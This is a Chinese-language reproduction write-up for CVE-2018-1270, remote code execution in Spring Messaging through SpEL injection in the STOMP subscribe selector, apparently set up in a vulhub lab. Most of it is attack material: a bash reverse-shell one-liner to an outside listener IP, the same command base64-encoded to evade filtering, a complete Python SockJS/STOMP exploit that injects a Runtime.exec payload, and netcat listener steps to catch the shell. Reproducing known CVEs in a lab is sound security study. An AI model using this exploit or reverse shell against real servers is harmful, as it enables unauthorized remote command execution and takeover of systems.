Spring Messaging远程命令执行漏洞复现（CVE-2018-1270）

一、漏洞说明
Spring Messaging为Spring框架提供消息支持，用户使用受影响版本的Spring Framework时，允许应用程序通过Spring Messaging模块内存中STOMP代理创建WebSocket。由于selector用SpEL表达式编写，并使用StandardEvaluationContext解析(权限太大)，进而导致远程执行代码攻击。
二、影响版本
Spring Framework 5.0 - 5.0.5
Spring Framework 4.3 - 4.3.15
三、搭建环境

四、漏洞复现
访问：http://192.168.25.128:8080/gs-guide-websocket

1.准备shell命令
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
绕过exec()编码为：
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}

2.修改exp
exploit.py

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
    
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
        
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://192.168.25.128:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)
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3.nc开启监听

4.执行exp

5.反弹shell